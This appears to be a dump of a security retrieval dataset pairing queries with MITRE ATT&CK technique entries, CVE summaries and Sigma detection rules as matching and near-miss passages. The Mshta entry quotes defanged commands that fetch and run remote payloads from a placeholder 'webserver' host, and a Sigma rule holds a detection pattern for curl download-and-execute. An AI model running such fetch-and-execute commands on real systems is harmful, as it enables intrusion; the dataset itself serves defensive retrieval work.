alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: Persistence mechanism resembling Software Packing
Matching passage: T1027.002 Software Packing. Tactics: stealth. Description: Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing)
Near-miss passage: T1027.003 Steganography. Tactics: stealth. Description: Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files. [Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) By the end of 2017, a threat group used <code>Invoke-PSImage</code> to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)
Query: risk of Multiple unspecified vulnerabilities in Google Chrome before 40.0.2214.91 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
Matching passage: CVE-2015-1205. CWE: UNKNOWN. CVSS: 7.5. Multiple unspecified vulnerabilities in Google Chrome before 40.0.2214.91 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
Near-miss passage: CVE-2015-6463. CWE: UNKNOWN. CVSS: 5.800000190734863. CodeWrights HART Comm DTM components, as used with Endress+Hauser FieldCare, allow remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service (CPU and memory consumption) via a longtag XML schema containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.
Query: describe CVE-2015-5481
Matching passage: CVE-2015-5481. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in forms/panels.php in the GD bbPress Attachments plugin before 2.3 for WordPress allows remote attackers to inject arbitrary web script or HTML via the tab parameter in the gdbbpress_attachments page to wp-admin/edit.php.
Near-miss passage: CVE-2015-3364. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the Content Analysis module before 6.x-1.7 for Drupal allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, which are not properly handled in a log message.
Query: exploit Buffer overflow in the EntrReadArch function in unzoo might allow remote attackers to execute arbitrary code via unspecified vectors.
Matching passage: CVE-2015-1845. CWE: CWE-119. CVSS: 10.0. Buffer overflow in the EntrReadArch function in unzoo might allow remote attackers to execute arbitrary code via unspecified vectors.
Near-miss passage: CVE-2015-0786. CWE: CWE-119. CVSS: 9.800000190734863. Stack-based buffer overflow in the logging functionality in the Preboot Policy service in Novell ZENworks Configuration Management (ZCM) allows remote attackers to execute arbitrary code via unspecified vectors.
Query: Persistence mechanism resembling Redundant Access
Matching passage: T1108 Redundant Access. Tactics: stealth, persistence. Description: **This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.** Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications. Use of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.
Near-miss passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Query: alert when Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the networ
Matching passage: Sigma rule: Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the networ. Logsource: windows / file_event. Rule: title: Wmiprvse Wbemcomn DLL Hijack - File id: 614a7e17-5643-4d89-b6fe-f9df1a79641c status: test description: Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario. references: - https://threathunterplaybook.com/hunts/windows/201009-RemoteWMIWbemcomnDLLHijack/notebook.html author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research) date: 2020-10-12 modified: 2022-12-02 tags: - attack.execution - attack.t1047 - attack.lateral-movement - attack.t1021.002 logsource: product: windows category: file_event detection: selection: Image: System TargetFilename|endswith: \wbem\wbemcomn.dll condition: selection falsepositives: - Unknown level: critical
Near-miss passage: Sigma rule: Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build. Logsource: windows / process_creation. Rule: title: Curl Download And Execute Combination id: 21dd6d38-2b18-4453-9404-a0fe4a0cc288 status: test description: Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later. references: - https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983 author: Sreeman, Nasreddine Bencherchali (Nextron Systems) date: 2020-01-13 modified: 2024-03-05 tags: - attack.stealth - attack.t1218 - attack.command-and-control - attack.t1105 logsource: category: process_creation product: windows detection: selection: CommandLine|contains|windash: ' -c ' CommandLine|contains|all: - 'curl ' - http - -o - '&' condition: selection falsepositives: - Unknown level: high
Query: describe CVE-2015-3109
Matching passage: CVE-2015-3109. CWE: CWE-119. CVSS: 10.0. Adobe Photoshop CC before 16.0 (aka 2015.0.0) allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors.
Near-miss passage: CVE-2015-5793. CWE: CWE-119. CVSS: 6.800000190734863. WebKit, as used in JavaScriptCore in Apple iOS before 9 and iTunes before 12.3, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2015-09-16-1 and APPLE-SA-2015-09-16-3.
Query: exploit Spotlight in Apple OS X before 10.10.4 allows attackers to execute arbitrary commands via a crafted name of a photo file within the local photo library.
Matching passage: CVE-2015-3716. CWE: CWE-77. CVSS: 4.400000095367432. Spotlight in Apple OS X before 10.10.4 allows attackers to execute arbitrary commands via a crafted name of a photo file within the local photo library.
Near-miss passage: CVE-2015-5704. CWE: CWE-77. CVSS: 7.800000190734863. scripts/licensecheck.pl in devscripts before 2.15.7 allows local users to execute arbitrary shell commands.
Query: describe CVE-2015-7373
Matching passage: CVE-2015-7373. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the "magic-macros" feature in Revive Adserver before 3.2.2 allows remote attackers to inject arbitrary web script or HTML via a GET parameter, which is not properly handled in a banner.
Near-miss passage: CVE-2015-2665. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in Cacti before 0.8.8d allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
Query: Multiple failed authentications followed by Exploitation for Client Execution
Matching passage: T1203 Exploitation for Client Execution. Tactics: execution. Description: Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility. Several types exist: ### Browser-based Exploitation Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed. ### Office Applications Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run. ### Common Third-party Applications Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser
Near-miss passage: T1651 Cloud Administration Command. Tactics: execution. Description: Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command) If an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment’s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)
Query: Encoded PowerShell / command-line abuse matching Domain Account
Matching passage: T1087.002 Domain Account. Tactics: discovery. Description: Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges. Commands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022)
Near-miss passage: T1087.001 Local Account. Tactics: discovery. Description: Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior. Commands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code> on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS, the <code>dscl . list /Users</code> command can be used to enumerate local accounts. On ESXi servers, the `esxcli system account list` command can list local user accounts.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)
Query: risk of MediaWiki before 1.23.11, 1.24.x before 1.24.4, and 1.25.x before 1.25.3 does not throttle file uploads, which allows remote authenticated users to have unspecified impact via mult
Matching passage: CVE-2015-8003. CWE: CWE-399. CVSS: 6.800000190734863. MediaWiki before 1.23.11, 1.24.x before 1.24.4, and 1.25.x before 1.25.3 does not throttle file uploads, which allows remote authenticated users to have unspecified impact via multiple file uploads.
Near-miss passage: CVE-2015-1740. CWE: CWE-399. CVSS: 9.300000190734863. Microsoft Internet Explorer 6 through 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-1735, CVE-2015-1744, CVE-2015-1745, and CVE-2015-1766.
Query: describe CVE-2015-1992
Matching passage: CVE-2015-1992. CWE: UNKNOWN. CVSS: 7.199999809265137. IBM Systems Director 5.2.x, 6.1.x, 6.2.0.x, 6.2.1.x, 6.3.0.0, 6.3.1.x, 6.3.2.x, 6.3.3.x, 6.3.5.0, and 6.3.6.0 improperly processes events, which allows local users to gain privileges via unspecified vectors.
Near-miss passage: CVE-2015-2581. CWE: UNKNOWN. CVSS: 6.400000095367432. Unspecified vulnerability in the Oracle Secure Global Desktop component in Oracle Virtualization 5.1 and 5.2 allows remote attackers to affect confidentiality and availability via unknown vectors related to JServer.
Query: CVE similar to CVE-2015-8611
Matching passage: CVE-2015-8611. CWE: CWE-255. CVSS: 9.800000190734863. BIG-IP LTM, AAM, AFM, Analytics, APM, ASM, DNS, Link Controller, and PEM 12.0.0 before HF1 on the 2000, 4000, 5000, 7000, and 10000 platforms do not properly sync passwords with the Always-On Management (AOM) subsystem, which might allow remote attackers to obtain login access to AOM via an (1) expired or (2) default password.
Near-miss passage: CVE-2015-7911. CWE: CWE-255. CVSS: 9.100000381469727. Saia Burgess PCD1.M0xx0, PCD1.M2xx0, PCD2.M5xx0, PCD3.Mxx60, PCD3.Mxxx0, PCD7.D4xxD, PCD7.D4xxV, PCD7.D4xxWTPF, and PCD7.D4xxxT5F devices before 1.24.50 and PCD3.T665 and PCD3.T666 devices before 1.24.41 have hardcoded credentials, which allows remote attackers to obtain administrative access via an FTP session.
Query: detect Detects modification of the registry settings used for Internet Explorer and other Windows components that use these set in logs
Matching passage: Sigma rule: Detects modification of the registry settings used for Internet Explorer and other Windows components that use these set. Logsource: windows / registry_set. Rule: title: Modification of IE Registry Settings id: d88d0ab2-e696-4d40-a2ed-9790064e66b3 status: test description: Detects modification of the registry settings used for Internet Explorer and other Windows components that use these settings. An attacker can abuse this registry key to add a domain to the trusted sites Zone or insert JavaScript for persistence references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-5---javascript-in-registry author: frack113 date: 2022-01-22 modified: 2025-10-22 tags: - attack.persistence - attack.defense-impairment - attack.t1112 logsource: category: registry_set product: windows detection: selection_domains: TargetObject|contains: \Software\Microsoft\Windows\CurrentVersion\Internet Settings filter_main_dword: Details|startswith: DWORD filter_main_null: Details: null filter_main_office: Details: - 'Cookie:' - 'Visited:' - (Empty) filter_main_path: TargetObject|contains: - \Cache - \ZoneMap - \WpadDecision filter_main_binary: Details: Binary Data filter_optional_accepted_documents: TargetObject|contains: \Software\Microsoft\Windows\CurrentVersion\Internet Settings\Accepted Documents condition: selection_domains and not 1 of filter_main_* and not 1 of filter_optional_* falsepositives: - Unknown level: low
Near-miss passage: Sigma rule: Detects remote RPC calls to get event log information via EVEN or EVEN6. Logsource: rpc_firewall / application. Rule: title: Remote Event Log Recon id: 2053961f-44c7-4a64-b62d-f6e72800af0d status: test description: Detects remote RPC calls to get event log information via EVEN or EVEN6 references: - https://github.com/zeronetworks/rpcfirewall - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/ author: Sagie Dulce, Dekel Paz date: 2022-01-01 tags: - attack.discovery logsource: product: rpc_firewall category: application definition: 'Requirements: install and apply the RPC Firewall to all processes with "audit:true action:block uuid:82273fdc-e32a-18c3-3f78-827929dc23ea and uuid:f6beaff7-1e19-4fbb-9f8f-b89e2018337c"' detection: selection: EventLog: RPCFW EventID: 3 InterfaceUuid: - 82273fdc-e32a-18c3-3f78-827929dc23ea - f6beaff7-1e19-4fbb-9f8f-b89e2018337c condition: selection falsepositives: - Remote administrative tasks on Windows Events level: high
Query: risk of libstagefright in Android before 5.1.1 LMY48T allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, aka inter
Matching passage: CVE-2015-6600. CWE: CWE-119. CVSS: 10.0. libstagefright in Android before 5.1.1 LMY48T allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, aka internal bug 22882938.
Near-miss passage: CVE-2015-7198. CWE: CWE-119. CVSS: 7.5. Buffer overflow in the rx::TextureStorage11 class in ANGLE, as used in Mozilla Firefox before 42.0 and Firefox ESR 38.x before 38.4, allows remote attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact via crafted texture data.
Query: detect Detects password change for the computer's domain account or host principal via "ksetup.exe" in logs
Matching passage: Sigma rule: Detects password change for the computer's domain account or host principal via "ksetup.exe". Logsource: windows / process_creation. Rule: title: Computer Password Change Via Ksetup.EXE id: de16d92c-c446-4d53-8938-10aeef41c8b6 status: test description: Detects password change for the computer's domain account or host principal via "ksetup.exe" references: - https://twitter.com/Oddvarmoe/status/1641712700605513729 - https://learn.microsoft.com/en-gb/windows-server/administration/windows-commands/ksetup author: Nasreddine Bencherchali (Nextron Systems) date: 2023-04-06 tags: - attack.execution logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \ksetup.exe - OriginalFileName: ksetup.exe selection_cli: CommandLine|contains: ' /setcomputerpassword ' condition: all of selection_* falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects execution of PktMon, a tool that captures network packets.. Logsource: windows / process_creation. Rule: title: PktMon.EXE Execution id: f956c7c1-0f60-4bc5-b7d7-b39ab3c08908 status: test description: Detects execution of PktMon, a tool that captures network packets. references: - https://lolbas-project.github.io/lolbas/Binaries/Pktmon/ author: frack113 date: 2022-03-17 modified: 2023-06-23 tags: - attack.discovery - attack.credential-access - attack.t1040 logsource: category: process_creation product: windows detection: selection: - Image|endswith: \pktmon.exe - OriginalFileName: PktMon.exe condition: selection falsepositives: - Legitimate use level: medium
Query: CVE similar to CVE-2015-7474
Matching passage: CVE-2015-7474. CWE: CWE-79. CVSS: 5.400000095367432. Cross-site scripting (XSS) vulnerability in Jazz Foundation in IBM Rational Engineering Lifecycle Manager 3.0 before 3.0.1.6 iFix7 Interim Fix 1, 4.0 before 4.0.7 iFix10, 5.0 before 5.0.2 iFix15, and 6.0 before 6.0.1 iFix4 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. IBM X-Force ID: 108501.
Near-miss passage: CVE-2015-9311. CWE: CWE-79. CVSS: 6.099999904632568. The newstatpress plugin before 1.0.6 for WordPress has reflected XSS.